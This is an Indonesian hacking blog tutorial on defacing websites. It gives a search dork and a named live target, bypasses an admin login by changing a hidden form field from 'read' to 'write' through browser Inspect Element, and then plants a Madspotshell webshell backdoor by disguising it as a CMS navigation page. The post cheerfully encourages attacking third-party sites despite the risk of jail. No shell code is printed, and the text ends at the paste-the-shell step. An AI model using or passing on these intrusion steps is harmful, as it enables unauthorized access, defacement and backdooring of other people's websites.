Devilzb0yz: Defacing

Tampilkan postingan dengan label Defacing. Tampilkan semua postingan

Cara Mudah Deface Website Dengan Bypass Admin Login

<span style="background-color: black;"><span style="color: white;"><b style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;"><span style="box-sizing: border-box;">UPDATE: Teknik ini  hanya bisa dilakukan pada CMS Premium, kalo sobat menemukan web yg tidak bisa  diedit/error, berarti CMS web tersebut bukan Premium atau bisa jadi sudah dipatch/diperbaiki.. </span></b><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: Trebuchet MS, sans-serif;"><b style="box-sizing: border-box;"><span style="box-sizing: border-box;"><br style="box-sizing: border-box;" /></span></b>Assalamualaikum....<br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" />Salam kompak sobat2 IDCA, ^_^<br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" />Tidak ada bosan2 nya ane mau share tentang depes2an,, soalnya lagi marak dan bnyak banget yg menyukai aktivitas ini, yah walaupun beresiko masuk BUI,, wkwkwk :p<br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" />Langsung aja lah, males ngetik banyak2! :p<br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" /><b style="box-sizing: border-box;">Note:<span style="box-sizing: border-box;"> "Tidak semua website bisa dengan teknik ini, harap selalu mencari dan mencoba! karena dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!"</span></b><br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" />kali ini ane mau share tentang teknik Bypass Halaman Login Administrator! Bagaimana caranya? Yuk simak aja rame rame,, hehhehe ;)<br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" />Bahan Bahan :<br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" />Dork: <span style="box-sizing: border-box;">inurl:/index_info.php<span style="box-sizing: border-box;">    <span style="box-sizing: border-box;"> Lihat Dork yg lain</span> <a href="http://adfoc.us/10969614984061" style="-webkit-transition: all 0.3s ease 0s; box-sizing: border-box; text-decoration: none; transition: all 0.3s ease 0s;" target="_blank"><b style="box-sizing: border-box;">Disini</b></a></span></span><br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" /><span style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;">Live Target : </span><span style="box-sizing: border-box;">http://niche-marketplace.net/index_info.php</span>  </span></span><br style="box-sizing: border-box;" /><br style="box-sizing: border-box;" /><span style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;">Note: </span><span style="box-sizing: border-box;">"Saat ini sudah sulit mencari web target yang bisa ditanemin shell, kebanyakn udah di patch, hanya orang2 yang mau berusaha yg bisa mnemukan web target" :p</span></span></span><br style="box-sizing: border-box;" /><span style="box-sizing: border-box;"><br style="box-sizing: border-box;" /></span><span style="box-sizing: border-box;">Langkah Langkahnya:</span><br style="box-sizing: border-box;" /><span style="box-sizing: border-box;"><br style="box-sizing: border-box;" /></span><span style="box-sizing: border-box;"><span style="box-sizing: border-box;">Cari Target Google.com dengan menggunakan Dork, disini ane dapet target</span> <span style="box-sizing: border-box;">http://niche-marketplace.net/index_info.php</span></span><br style="box-sizing: border-box;" /></span></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgODDgnMNzFkYUG2Rdj-1lC_P7AvIIGb1KJ06NW677nGogYkHE2GAR8kGtYmkBfiSts9OH6zUG5dqoZGVUOw_nB0vM8xoOF3LK4dEginMIEYD3HnqBGedsYH6vT2ZulH_-rN8H0eu2IrU/s1600/New+Picture+(1).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white; font-family: Trebuchet MS, sans-serif;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgODDgnMNzFkYUG2Rdj-1lC_P7AvIIGb1KJ06NW677nGogYkHE2GAR8kGtYmkBfiSts9OH6zUG5dqoZGVUOw_nB0vM8xoOF3LK4dEginMIEYD3HnqBGedsYH6vT2ZulH_-rN8H0eu2IrU/s320/New+Picture+(1).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white; font-family: Trebuchet MS, sans-serif;"><span style="box-sizing: border-box;"><br style="box-sizing: border-box;" /></span><span style="box-sizing: border-box;">Lalu masuk ke halaman login admin! biasanya letaknya site.com/admin/index.php atau bisa jadi site.com/[path]/admin/index.php kalo target ane : http://niche-marketplace.net/admin/index.php </span><br style="box-sizing: border-box;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDxXimVQ-ow6zfrvIgxiyOyYmcJ8IM44vtV0r9ajtnZH7UVmx9jA2Qm2q9rgrHwaQ1dORuo3hIZ06SXyqmh9SrcMxnWIro60NDu4Hj5_toxTQr-3Uh-eQwOBKufizOSa1mqmo7P3S2Rd4/s1600/New+Picture+%25281b%2529.jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white; font-family: Trebuchet MS, sans-serif;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDxXimVQ-ow6zfrvIgxiyOyYmcJ8IM44vtV0r9ajtnZH7UVmx9jA2Qm2q9rgrHwaQ1dORuo3hIZ06SXyqmh9SrcMxnWIro60NDu4Hj5_toxTQr-3Uh-eQwOBKufizOSa1mqmo7P3S2Rd4/s320/New+Picture+%25281b%2529.jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><span style="font-family: Trebuchet MS, sans-serif;"><span style="box-sizing: border-box;"><br style="box-sizing: border-box;" /></span><span style="box-sizing: border-box;">Setelah itu kita lakukan Inspect Elemen! dengan cara klik kanan, lalu pilih Inspect Element!</span><br style="box-sizing: border-box;" /></span></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic1SqmQU2wgwpChcyQlnvxv6-6SS9jIh2X9sDBIiUuXJXClA8fgO0WLAaeiVWeu8Sn6fYxbrVBJY0wtvJtL_0Mg6_wYBaP42biQGo16Y2Fw2xrrY-pEAPLv33N6lJWq3Twm2Td4zAKTjk/s1600/New+Picture+(2).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic1SqmQU2wgwpChcyQlnvxv6-6SS9jIh2X9sDBIiUuXJXClA8fgO0WLAaeiVWeu8Sn6fYxbrVBJY0wtvJtL_0Mg6_wYBaP42biQGo16Y2Fw2xrrY-pEAPLv33N6lJWq3Twm2Td4zAKTjk/s320/New+Picture+(2).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: x-small;"> Lalu akan muncul seperti gambar dibawah! yang perlu kita lakukan adalah mencari Source code berikut :</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix item" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWkDnAfTf592BBkzJ0MJ-rKdVYcjciGoJgfyTbJtMySvNXjSfVD7ceNXCQouTVhwQxqULXOgCX_jeVF2bELigTcc8eG-skd_z8PJ025nE0_Z1dPK5Y4QQ1YeaGCSdynWF2XvcjRWfcff4/s1600/New+Picture+(3).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="56" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWkDnAfTf592BBkzJ0MJ-rKdVYcjciGoJgfyTbJtMySvNXjSfVD7ceNXCQouTVhwQxqULXOgCX_jeVF2bELigTcc8eG-skd_z8PJ025nE0_Z1dPK5Y4QQ1YeaGCSdynWF2XvcjRWfcff4/s320/New+Picture+(3).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: x-small; font-style: italic;"><span style="box-sizing: border-box; font-weight: bold;"> </span></span><span style="font-family: 'Georgia Serif'; font-size: x-small;">Ganti "hidden" dengan "text" lalu akan muncul kotak label "admin_settings_read" ganti read menjadi write! lihat gambar!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLC4G8_NwgMxfSytBeSv-InODOT9HPxCwT35V3wMS8yXwyxWzyb2sEVLLm75wRn69xnX83D6XY4NtmLzRHiYXX5s63IlDzUHOSwv9PzK_MCL7hjanTgnETbfI241jcw7uHc9JPSPoDmA4/s1600/New+Picture+(4).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLC4G8_NwgMxfSytBeSv-InODOT9HPxCwT35V3wMS8yXwyxWzyb2sEVLLm75wRn69xnX83D6XY4NtmLzRHiYXX5s63IlDzUHOSwv9PzK_MCL7hjanTgnETbfI241jcw7uHc9JPSPoDmA4/s320/New+Picture+(4).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><span style="font-family: 'Georgia Serif'; font-size: x-small;">Lalu tekan Enter!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTwnxN4CEicCcIczbDrsLZc8KMb9_L2l6isHomWNyVsZy388ytUL2gNlVsm9oLCtH1zlVXtNLt53j-dqX-x_mXWhfEqmItJJXo_ybenj8j07U_PVWJhwIhL4BAGHUz-zBSvORaTDZwsdM/s1600/New+Picture+(5).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTwnxN4CEicCcIczbDrsLZc8KMb9_L2l6isHomWNyVsZy388ytUL2gNlVsm9oLCtH1zlVXtNLt53j-dqX-x_mXWhfEqmItJJXo_ybenj8j07U_PVWJhwIhL4BAGHUz-zBSvORaTDZwsdM/s320/New+Picture+(5).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Klik Login aja!</span><b style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;"> </b><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Note: "</span><span style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: x-small;">Kalo ada muncul pesan seperti digambar, berarti target vuln ato bisa di depes! Selain itu ga bisa, cari target lain! :p</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3wNlB_XGsraXXsrlzYLED8eBj97Yl00MV9n0qRjNoZGPlX8qykdP9nVnpmKdm61LODq17KrdbycEX-8ouf3WqjUFzUYM_uzXfksTJWJQtKTZ6kgIlA4bSn0SgaEWepCS9Vj8R_cHoloo/s1600/New+Picture+(6).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3wNlB_XGsraXXsrlzYLED8eBj97Yl00MV9n0qRjNoZGPlX8qykdP9nVnpmKdm61LODq17KrdbycEX-8ouf3WqjUFzUYM_uzXfksTJWJQtKTZ6kgIlA4bSn0SgaEWepCS9Vj8R_cHoloo/s320/New+Picture+(6).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Duaaarrrrrrrrr!! Udah masuk? Mantap! Trus mo ngapain lagi?? udah gitu aja! wkwkwkwk :p</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Trus Tanemshell nya gimana gan?? Hajiahhh,, :3 makanya baca tutorial ampe abis dulu, dipahami dan dipelajari baru dipraktekin.. hadeewwhhh!!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Oke, sekarang kita udah masuk ke halaman admin, saatnya kita tanem Shell! Apa itu Shell?? Baca lagi sono di postingan ane </span><a href="http://indocyberarmy.blogspot.com/2013/03/cara-tebas-index-website.html" style="-webkit-transition: all 0.3s ease 0s; box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small; text-decoration: none; transition: all 0.3s ease 0s;" target="_blank"><b style="box-sizing: border-box;">Apa itu WebShell</b></a><span style="font-family: 'Georgia Serif'; font-size: x-small;"> :p Disini ane make Madspotshell!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: x-small;">WAJIB!!! Harap diperhatikan dan dicermati baik baik, jika ada sedikit kesalahan maka Shell sobat yg ditanem akan Gagal dieksekusi! dan akhirnya balik maning ke awal</span><span style="font-family: 'Georgia Serif'; font-size: x-small;"> :p</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><b style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;"><span style="box-sizing: border-box;">Note: Langkah selanjutnya  hanya bisa dilakukan pada CMS Premium, kalo sobat menemukan web yg tidak bisa  diedit/error, berarti CMS web tersebut bukan Premium atau bisa jadi sudah dipatch/diperbaiki.. </span></b><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Pertama gulirkan kebawah! cari menu "Add/Remove Navigation Page"</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEqA9nTiL5pjPiDttCbYNYShepwZXDhpxL8UoASJ0rJGSd5EZo4-TsTgLkCFgBG56cecXwRVsRBgYS3yRtN3M4A-gSXLXpVE6qXI6XLHj_uHR1YraX27UyH7SVXCvFHvz_kzjzvkliGJw/s1600/New+Picture+(7).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEqA9nTiL5pjPiDttCbYNYShepwZXDhpxL8UoASJ0rJGSd5EZo4-TsTgLkCFgBG56cecXwRVsRBgYS3yRtN3M4A-gSXLXpVE6qXI6XLHj_uHR1YraX27UyH7SVXCvFHvz_kzjzvkliGJw/s320/New+Picture+(7).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Klik Add/Remove Navigation Page! Lalu ketik nama shell.php sobat, kalo ane mah "idca.php". Untuk lebih jelasnya liat gambar!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcQIRGtlS_n3o73Jo9GhGkKeun0hGVi3fzTYMrgxCV9x_f3kKo0A3e3-31aJE0sxlzcLVig8ygSTungUjpmYlYkpYO4fAMoSDbL7PeUqUWgiyDNfmXwt5wRUC1fQRVmfwsYBGbCZjsAKg/s1600/New+Picture+(8).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcQIRGtlS_n3o73Jo9GhGkKeun0hGVi3fzTYMrgxCV9x_f3kKo0A3e3-31aJE0sxlzcLVig8ygSTungUjpmYlYkpYO4fAMoSDbL7PeUqUWgiyDNfmXwt5wRUC1fQRVmfwsYBGbCZjsAKg/s320/New+Picture+(8).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;"> Lalu klik "Add New Navigation"</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8FcsqcTef3nr8RtyGxpAzDRv-fOOgPQ4tpq1iI22-slz71WQzCVj_BBXGHhF4LQ27HZF-TOHpcT1oxCN8SGuRX8JWFdK9giV94JApWYkX6jAN6g1Vg0TmQdbBC3oopn2W9TuLshFrFT4/s1600/New+Picture+(9).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8FcsqcTef3nr8RtyGxpAzDRv-fOOgPQ4tpq1iI22-slz71WQzCVj_BBXGHhF4LQ27HZF-TOHpcT1oxCN8SGuRX8JWFdK9giV94JApWYkX6jAN6g1Vg0TmQdbBC3oopn2W9TuLshFrFT4/s320/New+Picture+(9).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Setelah itu masih dihalaman yg sama, liat kebawah sampai menemukan kalimat: "Sort Page Buttons/links" trus ubah "idca.php.html" jadi "/idca.php". liat gambar!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipNw_yZHHXfyKKvMxWRhztO7IxOrfqDUN9C10v0ImOTrzqjJ0mltLtYLmKLeE9g5520zt1iaBo9W7Wsbo3VHNwwuSZt9XuUGU2BNiZsxWKUhBOaGjiTgiKoY9vAHOH7whDsd7Isqmo3IY/s1600/New+Picture+(11).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipNw_yZHHXfyKKvMxWRhztO7IxOrfqDUN9C10v0ImOTrzqjJ0mltLtYLmKLeE9g5520zt1iaBo9W7Wsbo3VHNwwuSZt9XuUGU2BNiZsxWKUhBOaGjiTgiKoY9vAHOH7whDsd7Isqmo3IY/s320/New+Picture+(11).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Lalu klik "Sort Navigation Pages"!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Selanjutnya cari Menu "Edit Navigation Pages" lalu klik menu tersebut. Kemudian pada kolom "Please Select a Pages To Edit" lalu pilih "idca.php.html". disini kita akan melakukan Inspect Element lagi, lalu cari kata "idca.php.html" dan ubah jadi "idca.php".  Lihat gambar!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3RbiDAQMs2TwDbMMWtVzkaBnu5o9BNTOxPBL46sYc8aFXJimQXmiwQfXoFpey91u9_Lu0z_oxjSP26lvuD25kwQCJpu1dcnXOTSjlwicQTbNMRJkASQwSmRVnfq71h5q-D8iRcGynnJY/s1600/New+Picture+(12).jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3RbiDAQMs2TwDbMMWtVzkaBnu5o9BNTOxPBL46sYc8aFXJimQXmiwQfXoFpey91u9_Lu0z_oxjSP26lvuD25kwQCJpu1dcnXOTSjlwicQTbNMRJkASQwSmRVnfq71h5q-D8iRcGynnJY/s320/New+Picture+(12).jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Kemudian masih dihalaman yg sama, gulirkan kebawah!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Pada kolom "Enter A Page Title As You Would Like To Be Seen" ketik "idca.php"</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Pada kolom "URL For This Site" ketik "main_pages/idca.php"</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Pada kota box, ceklis/centang ketiganya. untuk lebih jelas, lihat gambar!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8CoVkiwuyDTBzzi5vBPdSXoKpT22inlfXQk6tYpW_e5IagIZAH1PBuOnHzefez1xEZo7QR03SprT38ja2n7mVKcqKfjU_zVqUBlWmtDLll17sQ0GTgHNdB9EcUvEMx27QlWEKkTU3RgE/s1600/New+Picture+%252813%2529.jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8CoVkiwuyDTBzzi5vBPdSXoKpT22inlfXQk6tYpW_e5IagIZAH1PBuOnHzefez1xEZo7QR03SprT38ja2n7mVKcqKfjU_zVqUBlWmtDLll17sQ0GTgHNdB9EcUvEMx27QlWEKkTU3RgE/s320/New+Picture+%252813%2529.jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="320" /></span></a></div>
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a class="pirobox single_fix" data-pirobox="gallery" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDxXimVQ-ow6zfrvIgxiyOyYmcJ8IM44vtV0r9ajtnZH7UVmx9jA2Qm2q9rgrHwaQ1dORuo3hIZ06SXyqmh9SrcMxnWIro60NDu4Hj5_toxTQr-3Uh-eQwOBKufizOSa1mqmo7P3S2Rd4/s1600/New+Picture+%25281b%2529.jpg" imageanchor="1" style="-webkit-transition: all 0.3s ease 0s; background-color: black; box-sizing: border-box; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.3s ease 0s;"><span style="color: white;"><br style="box-sizing: border-box;" /></span></a></div>
<span style="background-color: black;"><span style="color: white;"><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Selanjutnya masih juga di halaman yg sama, gulirkan kebawah! Pada kolom "Enter Content for Your Pages" pilih "Source" lalu editor akan aktif!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /><span style="font-family: 'Georgia Serif'; font-size: x-small;">Buka shell Backdoor (madspotshell.php) dengan notepad untuk dipaste kan ke Konten Pages!</span><br style="box-sizing: border-box; font-family: 'Georgia Serif'; font-size: small;" /></span></span><br />
<div class="separator" style="box-sizing: border-box; clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
